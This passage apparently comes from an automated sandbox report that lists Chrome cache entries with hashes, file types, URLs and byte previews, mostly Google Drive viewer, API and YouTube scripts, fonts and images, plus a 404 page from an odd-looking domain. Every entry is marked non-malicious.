SSDEEP:	1536:n0LsbdBjloUEfTxgfDgY6dkPRlghyw0N5UIcCBANQGa1V9Gg4I/+vY:n9bj+UK2FioghO5ofNQGabl
MD5:	C0D89F4665184EA10473A07A43DC5ED9
SHA1:	6F5352E6CA85457DD089258EB0809C8E946A35E5
SHA-256:	F6B888445C36E20E3D39E3910787A116B2D44239EEA406A7F3A374C2F7207BD6
SHA-512:	9AD973928BC4051D85905AACB2D668D10600C6597C90DC0F4E01F942A8174BCB05DCEDB317B8305667DFBBE04BD29FF20FC5BEB0E5ADC77F71EA7254A593DC0C
Malicious:	false
URL:	https://drive.google.com/drive-viewer/AKGpihYBchqaULbIfypDBqRWxAjbvjZ9YkfCS8oBRNRKuIZnunqRD49bu12xdSkN781OitAtw9heq6ziA-C5Ipe3A2aUI9Wt2w6lbM0=s1600-rw-v1
Preview:	RIFF.-..WEBPVP8 .-...V.......>.X.O'$.##s.....in.9.@.!7.h.O.3XG...._..0.#.\|..../..`.r>c..=A...]..{.@..../.~G.W.o.....s...o............._/.........[..._a..}......................Y.U........?.?.....\|.._.^..O..._...}.}k.'.?.?.?r...c./.O.....m....._..`........W...o........&}....O....`_...........s.........{e...../...>B?..s..._.......?.........?r........1..:.P.8.S...p.eC .N.L.d.i.u..L2..d......p.eC .N.L.d.i.....8u2..6....L._.....[..bX.C..q.....5R.....3..e.Z.R .m.E.0\|~...n7..X.e.F\...p.eC .L.t"o.O.u2Ry...j...\|L...n...!..3.Uu.b...[...^..i............f>..+....[!.3.P..F.....Yv.<...`.U...?.nH.6S.f\|..?...,w..<.LG +.E...,.1/.@....\|...H...`.+.....^P.....S..9tzo....=.....muf.#Ux..........1..[#.-......H.t.>..m.R...f..z.V.....Sd#..T.7.+.sJ.pq.f.t..6....V.A..v..:.u...w.&...^.....t..=.E\|'..NO......l...Y..w{G..e...13`(.. ......b....H=....j....p5;l..Oj$..r..?.$...2.4...o/....g.S..J@.....6{....5{.....VK./.i.:..*..YDA..E.9Nq,.S.f....]...9..X.......L.$C.u.5F.l.y9...>

Chrome Cache Entry: 246

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1170)
Category:	downloaded
Size (bytes):	209242
Entropy (8bit):	5.525486724811298
Encrypted:	false
SSDEEP:	6144:y2vAXZ8wuXFb5CcdsvyvTmfi7OxDP1Bm5G:pAXiwib5Ccdky57S
MD5:	2D5977E5451D9CB3C5F83DAC50A2F8EF
SHA1:	B91600576EA9602E509B691B8C8DCA92680467B6
SHA-256:	34E479671BA6D41D87BD292162ECBA4E51A1897E4CB112C4C9DE054EF8930FFA
SHA-512:	51B14B36E0C442C56A9C0CC7B28FEBF3765DD15BE80B5B339A1AC7B8427D5EBFDBFA337DFC55AA40A8A985E7B1286C4D2D519B2AAA728AD8289BEA76BADA1866
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.ZpMpph_5a4M.O/m=client/exm=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo_c5__TAiALeuHoQOKG0BnSpdbJrQ/cb=gapi.loaded_1"
Preview:	gapi.loaded_1(function(_){var window=this;._.Bg=(window.gapi\|\|{}).load;._.Tn=_.Be(_.Me,"rw",_.Ce());.var Un=function(a,b){(a=_.Tn[a])&&a.state<b&&(a.state=b)};var Vn=function(a){a=(a=_.Tn[a])?a.oid:void 0;if(a){var b=_.ye.getElementById(a);b&&b.parentNode.removeChild(b);delete _.Tn[a];Vn(a)}};_.Wn=function(a){a=a.container;typeof a==="string"&&(a=document.getElementById(a));return a};_.Xn=function(a){var b=a.clientWidth;return"position:absolute;top:-10000px;width:"+(b?b+"px":a.style.width\|\|"300px")+";margin:0px;border-style:none;"};._.Yn=function(a,b){var c={},d=a.xc(),e=b&&b.width,f=b&&b.height,h=b&&b.verticalAlign;h&&(c.verticalAlign=h);e\|\|(e=d.width\|\|a.width);f\|\|(f=d.height\|\|a.height);d.width=c.width=e;d.height=c.height=f;d=a.getIframeEl();e=a.getId();Un(e,2);a:{e=a.getSiteEl();c=c\|\|{};var k;if(_.Me.oa&&(k=d.id)){f=(f=_.Tn[k])?f.state:void 0;if(f===1\|\|f===4)break a;Vn(k)}(f=e.nextSibling)&&f.dataset&&f.dataset.gapistub&&(e.parentNode.removeChild(f),e.style.cssText="");f=c.width;h=c.

Chrome Cache Entry: 247

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.16293190511019
Encrypted:	false
SSDEEP:	3:CUmExltxlHh/:Jb/
MD5:	FC94FB0C3ED8A8F909DBC7630A0987FF
SHA1:	56D45F8A17F5078A20AF9962C992CA4678450765
SHA-256:	2DFE28CBDB83F01C940DE6A88AB86200154FD772D568035AC568664E52068363
SHA-512:	C87BF81FD70CF6434CA3A6C05AD6E9BD3F1D96F77DDDAD8D45EE043B126B2CB07A5CF23B4137B9D8462CD8A9ADF2B463AB6DE2B38C93DB72D2D511CA60E3B57E
Malicious:	false
URL:	https://ssl.gstatic.com/docs/common/cleardot.gif?zx=naqaa081hkpw
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 248

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 34184, version 1.0
Category:	downloaded
Size (bytes):	34184
Entropy (8bit):	7.99444009565784
Encrypted:	true
SSDEEP:	768:8pJf8lXHzTyT3P9QWCHmzL3WbHPBBWQfIKkydgMbG48B/u:u0lDTyrKWCHeL3OBDwKdmp9u
MD5:	1ACA735014A6BB648F468EE476680D5B
SHA1:	6D28E3AE6E42784769199948211E3AA0806FA62C
SHA-256:	E563F60814C73C0F4261067BD14C15F2C7F72ED2906670ED4076EBE0D6E9244A
SHA-512:	808AA9AF5A3164F31466AF4BAC25C8A8C3F19910579CF176033359500C8E26F0A96CDC68CCF8808B65937DC87C121238C1C1B0BE296D4306D5D197A1E4C38E86
Malicious:	false
URL:	https://fonts.gstatic.com/s/googlesans/v60/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RPjIUvQ.woff2
Preview:	wOF2..............X......................................4?HVAR.k.`?STAT..'...J/<.....`..(..Z.0..N.6.$.... .....K..[O;q..w....z.....%.O.t'.R....6.{..@.k......C.B..Z.uU.}..!.".....]jK.`&.\..4...US.......x..C...1g.:.+.?.t<....J...C.p.c..J...........V..H1.6.~..n.]~"R>..s....7....FE1.S/m....}..<....M..IHB.._8.d.3"......8..t.;f._~X.A.&n.1..t..v...n.._............eS.......!V."v6.xm\|M..O.z..,....,...N.1......y^7...^^.$.!.$<V..B....."j..!2..Y"..{w!..Z.[...]H....M-.".8j.<..X.[{..UI....ML.J.?4B.....]..4..()^Bi.4iD/..]....../I.-.J[D...........c...)63.U.rFpW5}.9$..2...t..:.MW.c.N...lK...3^......./..v. !...;..v.w./^S...\U....\|.......Y9...a.z.....i..$J.U...Ks....0Q.........iy.....M..@..........&..c.kh.(<.O.....~..#.-.gfw.t...nbo...]0'G.!.2.8....y.K..;%......_).W..?.'.DTR.H....G.Al..d......g>.6..(.."4l...3$...\_.W}..R...\.o........`..q...@XG.wpN......!....&...\.&.....N..5..n......g..bR......HV...s...e..r.0ty&.SW.j.{I...".m .s..T....l....@th:..aM.

Chrome Cache Entry: 249

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2049)
Category:	downloaded
Size (bytes):	14478
Entropy (8bit):	5.46897211761226
Encrypted:	false
SSDEEP:	384:IYim7O/sAg9U6KAQdkzFc+5aiWQLHO91mIuW:IoqUAh8vz5W2o
MD5:	4A2B1E83CCEA5A70AFDFC3F1434CA6A2
SHA1:	5A34C38829BDA10164EBDB1D1742F0B827247E39
SHA-256:	51F7939C541E0DD14D3C6AC44865499304ACA395BC72B7AF238C2F76C806FA71
SHA-512:	679B56AD35C3CAD0CFD98B57F011BD8442FECF520B05B650DFCD59D04485905D25AF1BC297FCC41A22FF655EF3EE6B35C606A5FE00811ADCB94C747F57AE2393
Malicious:	false
URL:	https://apis.google.com/js/googleapis.proxy.js?onload=startup
Preview:	(function(){var aa=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ba=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");},ca=ba(this),g=function(a,b){if(b)a:{var c=ca;a=a.split(".");for(var d=0;d<a.length-.1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&aa(c,a,{configurable:!0,writable:!0,value:b})}},h=function(a,b,c){if(a==null)throw new TypeError("The 'this' value for String.prototype."+c+" must not be null or undefined");if(b instanceof RegExp)throw new TypeError("First argument to String.prototype."+c+" must not be a regular expression");return a+""};.g("String.prototype.endsWith",function(a){return a?a:function(b,c){var d=h(this

Chrome Cache Entry: 250

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (561)
Category:	downloaded
Size (bytes):	30884
Entropy (8bit):	5.396878850736056
Encrypted:	false
SSDEEP:	384:4o63kjilKDknpjTqty5qTWZhuHjiyBMAtmN4C4SYCG3EzZYBFS/+0O/txrncOnk5:Utlrpgy5GZHm4C4N10kv0O/zrYe1M
MD5:	32C99FE6533A025BDB08BDE87A9B4F6E
SHA1:	F1B48F220F4B4B81CCDBB1A9289B821A66CFA1D3
SHA-256:	14939503C8A97BEF459CE94218F0E65933AB569F7B1D726BCB0B3C1031EBCCF9
SHA-512:	8D454CC89659899B923B9467FD1F488F0DEA432D4FDAEDB59FAA83C29D4FEDD045AA445BE34D094103E4D81BD4773B61F926C381F14FC7388E34D89D51F4582D
Malicious:	false
URL:	https://youtube.googleapis.com/s/player/03dbdfab/www-widgetapi.vflset/www-widgetapi.js
Preview:	(function(){'use strict';var q;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}.var r=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function da(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}.var t=da(this);function u(a,b){if(b)a:{var c=t;a=a.split(".");for(var d=0;d<a.length-1;d++){var g=a[d];if(!(g in c))break a;c=c[g]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&r(c,a,{configurable:!0,writable:!0,value:b})}}.u("Symbol",function(a){function b(k){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(k\|\|"")+"_"+g++,k)}.function c(k,e){this.g=k;r(this,"description",{configurable:!0,writable:!0,value:e

Chrome Cache Entry: 251

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	808
Entropy (8bit):	4.9078093738349065
Encrypted:	false
SSDEEP:	24:hYj0XJU5DgGeRpbufLUwDdVJUSdEj7RtiKAo1Mc:PS5gGe/uTUwhVJJEjCKN1h
MD5:	A943672A32297727BAB01C3E76977550
SHA1:	3A667C4B7A457EF6C586CC581D533C128737BF53
SHA-256:	B9347F234DC3C8D56E015E86D88A1400415DB8F7A5AD91F02B6A2323C10A4187
SHA-512:	0965D415F3A0CEF31953702FDAE345D46FEFD72CE3C4C7A0255AEDE74A76E10B856892700529A444453A622793E0257248C5C99FAE17D5B0B9FD4118E208068C
Malicious:	false
URL:	https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/favicon.ico
Preview:	<!DOCTYPE html>.<html lang="en">.<head>. <meta charset="utf-8">. <meta http-equiv="x-ua-compatible" content="ie=edge">. <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">. <title>404 Not Found</title>. <link rel="stylesheet" href="/error_docs/styles.css">.</head>.<body>.<div class="page">. <div class="main">. <h1>Server Error</h1>. <div class="error-code">404</div>. <h2>Page Not Found</h2>. <p class="lead">This page either doesn't exist, or it moved somewhere else.</p>. <hr/>. <p>That's what you can do</p>. <div class="help-actions">. <a href="javascript:location.reload();">Reload Page</a>. <a href="javascript:history.back();">Back to Previous Page</a>. <a href="/">Home Page</a>. </div>. </div>.</div>.</body>.</html>

Chrome Cache Entry: 252

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2410)
Category:	downloaded
Size (bytes):	218287
Entropy (8bit):	5.5229838275997345
Encrypted:	false
SSDEEP:	6144:kVD30WZjJM0PuJQ+ApsOOFZNnv+lqOQMmsWrBQoSpFMgDu4HTNhYAVQIfUEQHNvZ:kVD3XZjJM0Puq+ApsOOFZNnv+lqOQMmJ
MD5:	F8C823C13B80A1921201903D66702912
SHA1:	67EDA9BC295AE9779F9FCDAF5500459E5C9F186E
SHA-256:	7C28EE8D4500E460968A2321FFBF39EF3F3850E4643B14F30D8304CDC6142E9F
SHA-512:	7B3606161F56E5D73C0CA5FAF29CD9C3E459290898F1FB42373C03EC4D9F2EF2D3AC1A2931D8EAF9A84EBF26265757ACAD28CF2C4BFA314131FCCFF2431066E3
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.otmEBJ358uU.2019.O/rt=j/m=qabr,q_dnp,qcwid,qapid,qads,q_dg/exm=qaaw,qadd,qaid,qein,qhaw,qhba,qhbr,qhch,qhga,qhid,qhin/d=1/ed=1/rs=AA2YrTu0yU9RTMfNNC-LVUmaaNKwIO136g"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Ad=typeof AsyncContext!=="undefined"&&typeof AsyncContext.Snapshot==="function"?a=>a&&AsyncContext.Snapshot.wrap(a):a=>a;.}catch(e){_._DumpException(e)}.try{._.te=function(a){return _.Hb(a)&&a.nodeType==1};_.ue=function(a,b){if("textContent"in a)a.textContent=b;else if(a.nodeType==3)a.data=String(b);else if(a.firstChild&&a.firstChild.nodeType==3){for(;a.lastChild!=a.firstChild;)a.removeChild(a.lastChild);a.firstChild.data=String(b)}else _.qe(a),a.appendChild(_.ge(a).createTextNode(String(b)))};var ve;_.we=function(a,b,c){Array.isArray(c)&&(c=c.join(" "));const d="aria-"+b;c===""\|\|c==void 0?(ve\|\|(ve={atomic:!1,autocomplete:"none",dropeffect:"none",haspopup:!1,live:"off",multiline:!1,multiselectable:!1,orientation:"vertical",readonly:!1,relevant:"additions text",required:!1,sort:"none",busy:!1,disabled:!1,hidden:!1,invalid:"false"}),c=ve,b in c?a.setAttribute(d,c[b]):a.removeAttribute(d)):a.setAttribute(d,c)};var Ae;_.ze=func

Chrome Cache Entry: 253

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.16293190511019
Encrypted:	false
SSDEEP:	3:CUmExltxlHh/:Jb/
MD5:	FC94FB0C3ED8A8F909DBC7630A0987FF
SHA1:	56D45F8A17F5078A20AF9962C992CA4678450765
SHA-256:	2DFE28CBDB83F01C940DE6A88AB86200154FD772D568035AC568664E52068363
SHA-512:	C87BF81FD70CF6434CA3A6C05AD6E9BD3F1D96F77DDDAD8D45EE043B126B2CB07A5CF23B4137B9D8462CD8A9ADF2B463AB6DE2B38C93DB72D2D511CA60E3B57E
Malicious:	false
URL:	https://ssl.gstatic.com/docs/common/cleardot.gif?zx=axnilzakcqdy
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 254

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2258)
Category:	downloaded
Size (bytes):	103720
Entropy (8bit):	5.679847648017333
Encrypted:	false
SSDEEP:	1536:a38X0GC10GQWUl5wj77Z9HUvcIXC8HU2jB1otsJoIgTkoP:a7GoY07Z9HUvcIXC8HU2j/rijTkoP
MD5:	27B39AE6F6E1418FF0E4B48CB096B2FF
SHA1:	EBD921C776A34D3615C996FE006F949F34FE3103
SHA-256:	E7757404FFE1683F4E24A99074572EF636DB79BA94178E2DE41B7F67AA9DD37D
SHA-512:	BBFD400729319E5D11C34CE50061603F6984D38CAD79725F1D1D7ADFF91AC317CA56DD733F6FCA908DAD7C2C8695C196EC5FBCEE42FA8328D5A86EDFA30D1BCE
Malicious:	false
URL:	"https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.6A8Xl22W-fQ.O/am=MBg/d=0/rs=AO0039vPMRCdwAYYEF59kJuKbFDTiIPtsw/m=sy6p,sy10,sy6w,sy74,sy75,sy77,sy76,sy7a,rj51oe,gypOCd"
Preview:	try{.var Lle=function(){QL.apply(this,arguments)};P(Lle,QL);Lle.prototype.enqueue=function(a,b){this.insert(a,b)};var Mle=function(a,b){a%=b;return a*b<0?a+b:a},Nle=function(a){return 1-Math.pow(1-a,3)};.}catch(e){_DumpException(e)}.try{.var sNc=function(){return faa&&ha?!ha.mobile&&(ja("iPad")\|\|ja("Android")\|\|ja("Silk")):ja("iPad")\|\|ja("Android")&&!ja("Mobile")\|\|ja("Silk")},pQ=function(){return!(faa&&ha?ha.mobile:!sNc()&&(ja("iPod")\|\|ja("iPhone")\|\|ja("Android")\|\|ja("IEMobile")))&&!sNc()};.}catch(e){_DumpException(e)}.try{.var i3e=function(a,b){this.C=a instanceof Lv?a:new Lv(a,b)};Ck(i3e,fBb);i3e.prototype.Md=function(a,b,c,d){var e=Vf(a);var f=e.body;e=e.documentElement;e=new Lv(f.scrollLeft\|\|e.scrollLeft,f.scrollTop\|\|e.scrollTop);f=this.C.x+e.x;e=this.C.y+e.y;var g=gBb(a);f-=g.x;e-=g.y;bH(new Lv(f,e),a,b,c,null,null,d)};var j3e=function(a,b){i3e.call(this,a,b)};Ck(j3e,i3e);j3e.prototype.F=0;j3e.prototype.D=function(a){this.F=a};.j3e.prototype.Md=function(a,b,c,d){var e=Vx(cWa(a)),f=

Chrome Cache Entry: 255

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	259
Entropy (8bit):	6.7268503778685105
Encrypted:	false
SSDEEP:	6:6v/lhPeoMMphEt0Sa2AKhmC4cR5HIQoplQfQjy30up:6v/7bn2AKhmMjHv2lQfQjw0c
MD5:	AF848AEE503A57E479B0FB57318F3F2F
SHA1:	68FE7097531D492691C6FA3454C8192D13E8572F
SHA-256:	33DD0582F6972DDDB05BEE6FD5EA0312FBD782A8003F4C7876AFEBD0F08F49AD
SHA-512:	1225614BBD2BD8DCF57B31759093EC92096A16AB428DE43606A8F71367BF247B9ADFE1F2C18E5F7156A216CBC4B35CF5070A39E4740FBDE1BAE5709D43734619
Malicious:	false
URL:	https://ssl.gstatic.com/docs/doclist/images/mediatype/icon_3_pdf_x16.png
Preview:	.PNG........IHDR................a....IDATx.cx.l......+g.....N... ...=....D.\|Y8.......]Z...E.p....`5.....}.lD5..3.....?.......?..8..D......H.....n..(?..r.....L3....\|.....cm...@j@..j.8..\|T/ ....4...^..P>PC:<.>#......CBz.d..".^8.....h......V...Q......IEND.B`.

Chrome Cache Entry: 256

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.16293190511019
Encrypted:	false
SSDEEP:	3:CUmExltxlHh/:Jb/
MD5:	FC94FB0C3ED8A8F909DBC7630A0987FF
SHA1:	56D45F8A17F5078A20AF9962C992CA4678450765
SHA-256:	2DFE28CBDB83F01C940DE6A88AB86200154FD772D568035AC568664E52068363
SHA-512:	C87BF81FD70CF6434CA3A6C05AD6E9BD3F1D96F77DDDAD8D45EE043B126B2CB07A5CF23B4137B9D8462CD8A9ADF2B463AB6DE2B38C93DB72D2D511CA60E3B57E
Malicious:	false
URL:	https://ssl.gstatic.com/docs/common/cleardot.gif?zx=2k7z7zxy4w6h
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 257

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4084)
Category:	downloaded
Size (bytes):	928288
Entropy (8bit):	5.550521877313307
Encrypted:	false
SSDEEP:	6144:eVf7Z+cpK0C1h4CiVMIZ9iqYWTTGTvho3pNYIKERhe7yCr2N8BgJ7cZh/GoGZGFb:eVf7ZNA0C8fxbjgyC6oikGoFx
MD5:	63D09A2257593E4F61D28D22AFFD47AA
SHA1:	28B827BFB903D35D277BAF1BC3776DA5362C16C6
SHA-256:	61CFE8DCFD3EA0A84462CA6CF63BE84A725B1A60BB36A955C78298CAF0A32794
SHA-512:	92F3F0BD4DC28F7FFC0FAC4C2BD7CB54CDA614E996AB1DD7A61873D5C5F6CEC897D8F24C62A3512D641DED0AA86AFBA58FA49E7DFE59BEBDEA09E1FF8FAEA364
Malicious:	false
URL:	"https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.6A8Xl22W-fQ.O/am=MBg/d=0/rs=AO0039vPMRCdwAYYEF59kJuKbFDTiIPtsw/m=sy47,sy4a,dSirkf,sy6l,sy4j,sy4l,n90YA,ZGAB2e,sLGWFe,sy37,sy4c,sy35,sy58,sy1h,sy4b,sy4h,sy4k,sy4w,M79aPc,sy1o,sy36,sy3e,sy4d,sy4e,sy4f,sy4g,sy4o,sy6r,sy6s,sy6o,syp,syq,syx,sy1j,sy20,sy33,sy48,sy50,sy57,sy6c,sy6k,nJ4XF,sy6m,sy6n,sy6q,sy6t,sy6u,UKcSG,AtsVYc"
Preview:	try{.var W_c=function(a){if(V_c.has(a))return V_c.get(a);throw Error("Sh`"+a);},Y_c=function(a){if(X_c.has(a))return X_c.get(a);throw Error("Th`"+a);},Z_c=function(a){for(var b=new Map,c=n(Object.keys(a)),d=c.next();!d.done;d=c.next())d=d.value,b.set(a[d].string,a[d].ik);return b},yS=function(a){this.ca=p(a)};P(yS,x);for(var $_c={ARROW_KEYS:{string:"arrow_keys",ik:"Wxn7ub"},AUTOMATED:{string:"automated",ik:"wjpLYc"},CLICK:{string:"click",ik:"cOuCgd"},DRAGEND:{string:"dragend",ik:"RlD3W"},DROP:{string:"drop",ik:"DaY83b"},GENERIC_CLICK:{string:"generic_click",ik:"szJgjc"},HOVER:{string:"hover",ik:"ZmdkE"},IMPRESSION:{string:"impression",ik:"xr6bB"},KEYBOARD_ENTER:{string:"keyboard_enter",ik:"SYhH9d"},KEYPRESS:{string:"keypress",ik:"Kr2w4b"},LONG_PRESS:{string:"long_press",ik:"tfSNVb"},MOUSEOVER:{string:"mouseover",.ik:"FrfE3b"},RIGHT_CLICK:{string:"rightclick",ik:"CYQmze"},SCROLL:{string:"scroll",ik:"XuHpsb"},SWIPE:{string:"swipe",ik:"eteedb"},VIS:{string:"vis",ik:"HkgBsf"}},V_c=Z_c($_c)

Chrome Cache Entry: 258

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	831
Entropy (8bit):	7.690596689293278
Encrypted:	false
SSDEEP:	24:ars5HGJLO4eG5bQxWGUpbIW779bHBoLU489YmBZo:arssA4L6hvaZ7wv8mmI
MD5:	916C9BCCCF19525AD9D3CD1514008746
SHA1:	9CCCE6978D2417927B5150FFAAC22F907FF27B6E
SHA-256:	358E814139D3ED8469B36935A071BE6696CCAD7DD9BDBFDB80C052B068AE2A50
SHA-512:	B73C1A81997ABE12DBA4AE1FA38F070079448C3798E7161C9262CCBA6EE6A91E8A243F0E4888C8AEF33CE1CF83818FC44C85AE454A522A079D08121CD8628D00
Malicious:	false
URL:	https://ssl.gstatic.com/images/branding/product/1x/drive_2020q4_32dp.png
Preview:	.PNG........IHDR... ... .....szz.....IDATx.b .....+......m..dW.@..tm.Y.....m.....m.m..L.\|.....{..b...t..........=H..qt..V..X..<jQc...p...fdU.\2.....9T...Jz!9...L.)&.....n....`~.T.\.\.$.....qQ.....LFOx......^&,"bB..Lh9$_.6<...A...Q.T&y.,'...p...W`.2.?X(.o.4.J?.2...@.4.....X..c......[UZJ...MN.].z..f..DFe.J.....:!r...0X......).....^..!....u..c..R4.GH....Y....E....Q......+!..)...e"......,.Ge.r.T..!..r..(.\|.9f...}......(...s..N...[..~.%6QF..g..r......CN.e"(..uY.h._1.H.e....r.k..%^S.c..<..0.s.j..,D........]..y.2(..OC.o\.3..".....cw...:;.btq......w=.......R-[].4..]...?.....o..K../cC.<O...y..O.......{.-'Ln9..M.*6t.(.........o.K.$....bz.X._d......Z].U.....t....Bf.Zl.^vA._..g.{l....V...{....=.jua..[...k......j....Y\...!..+.m..X..t(....."..Mz.26l....7X.C...-...Z.lvl.......y}x..........7.m.VV....IEND.B`.

Chrome Cache Entry: 259

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (501)
Category:	downloaded
Size (bytes):	1000
Entropy (8bit):	5.277949266142675
Encrypted:	false
SSDEEP:	24:N1XIbtEHvIYWwmqAK/HJ2cNAXzk5vuHM8aJLtMCRWZ4FhQ:N1XmtEPT6cLAXzk5kaJL+CwYhQ
MD5:	9AA60F647010B80DFDA3AC5381E8EDF8
SHA1:	117DFDEE7502F2DF9C5E7B85A3492D3FD8C78828
SHA-256:	3F2B738B2AE0453D236AC241DA7850CA41AC6973E1DE964F401ADE1AB97FB9A0
SHA-512:	624CA1372A8B96420566EAC6382D9D97BF863196C50FF70D63931BDE35B479A6396AE2F10961D889AFF8D54D8E47E9E9813A6C6C6945EF13BAB52ACB177891A9
Malicious:	false
URL:	https://youtube.googleapis.com/iframe_api
Preview:	var scriptUrl = 'https:\/\/youtube.googleapis.com\/s\/player\/03dbdfab\/www-widgetapi.vflset\/www-widgetapi.js';try{var ttPolicy=window.trustedTypes.createPolicy("youtube-widget-api",{createScriptURL:function(x){return x}});scriptUrl=ttPolicy.createScriptURL(scriptUrl)}catch(e){}var YT;if(!window["YT"])YT={loading:0,loaded:0};var YTConfig;if(!window["YTConfig"])YTConfig={"host":"https://www.youtube.com"};.if(!YT.loading){YT.loading=1;(function(){var l=[];YT.ready=function(f){if(YT.loaded)f();else l.push(f)};window.onYTReady=function(){YT.loaded=1;var i=0;for(;i<l.length;i++)try{l[i]()}catch(e){}};YT.setConfig=function(c){var k;for(k in c)if(c.hasOwnProperty(k))YTConfig[k]=c[k]};var a=document.createElement("script");a.type="text/javascript";a.id="www-widgetapi-script";a.src=scriptUrl;a.async=true;var c=document.currentScript;if(c){var n=c.nonce\|\|c.getAttribute("nonce");if(n)a.setAttribute("nonce",.n)}var b=document.getElementsByTagName("script")[0];b.parentNode.insertBefore(a,b)})()};.

Chrome Cache Entry: 260

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (644)
Category:	downloaded
Size (bytes):	6374
Entropy (8bit):	5.43971618560427
Encrypted:	false
SSDEEP:	96:9LZw/hvZLoYWBPPeyWNgdpQgz5hKJn/1pdytkT8zprRWsGO:vGvZqteyyafKp/1pQtkwVrRWVO
MD5:	DB626CC09E25EEB9EB6D92EDDA4D5B1A
SHA1:	456D3AE744482E6F32C590B03FD3066D98B4A493
SHA-256:	5722A7EC7393071917438A03A109602E17B76937273C08A45E62655D67CCBB4D
SHA-512:	AD5F37A3A420EC1B3C9B15635BD2791C41054100ADAD1FDE26BA4E7BABA85AA7D918E8948EA0E890275A55AD2818F0D4591C7655EFCFB72FE2FC234FE169FAD1
Malicious:	false
URL:	"https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.6A8Xl22W-fQ.O/am=MBg/d=0/rs=AO0039vPMRCdwAYYEF59kJuKbFDTiIPtsw/m=MpJwZc,UUJqVe,sy3,s39S4,syk,pw70Gc"
Preview:	try{.C("MpJwZc");..D();.}catch(e){_DumpException(e)}.try{.C("UUJqVe");..D();.}catch(e){_DumpException(e)}.try{.bg(AA);.}catch(e){_DumpException(e)}.try{.C("s39S4");.var AFc=function(a,b,c){c?a.setAttribute(b,c):a.removeAttribute(b);a.hasAttribute("c-wiz")\|\|(b=a,a.tagName==="C-DATA"&&(b=a.parentElement),I1a(b,!1))},BFc=function(a,b,c){var d=a.getAttribute(b)\|\|"";c=String(c\|\|"");c=c.split(";").filter(function(e){return e});d=d.split(";").filter(function(e){return yh(e,":.CLIENT")});Ba(c,d);(c=c.join(";"))?a.setAttribute(b,c):a.removeAttribute(b);ola(a)},FFc=function(){CFc\|\|(CFc=!0,DFc=Aja,Aja=function(a){DFc&&DFc(a);for(var b=0;b<a.length;b++){var c=a[b];Mf(c)&&.cg(Vf(c)).GWa(c)}},EFc=Bja,Bja=function(a){EFc&&EFc(a);for(var b=0;b<a.length;b++){var c=a[b];Mf(c)&&cg(Vf(c)).HWa(c)}})},cP=function(a,b){a.H=b},GFc=function(a){if(a=a\|\|document.body){var b=document.head.querySelector("style[data-late-css]");a=n(Array.from(a.querySelectorAll("style[data-server-css-collection], link[data-server-c

Chrome Cache Entry: 261

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2043
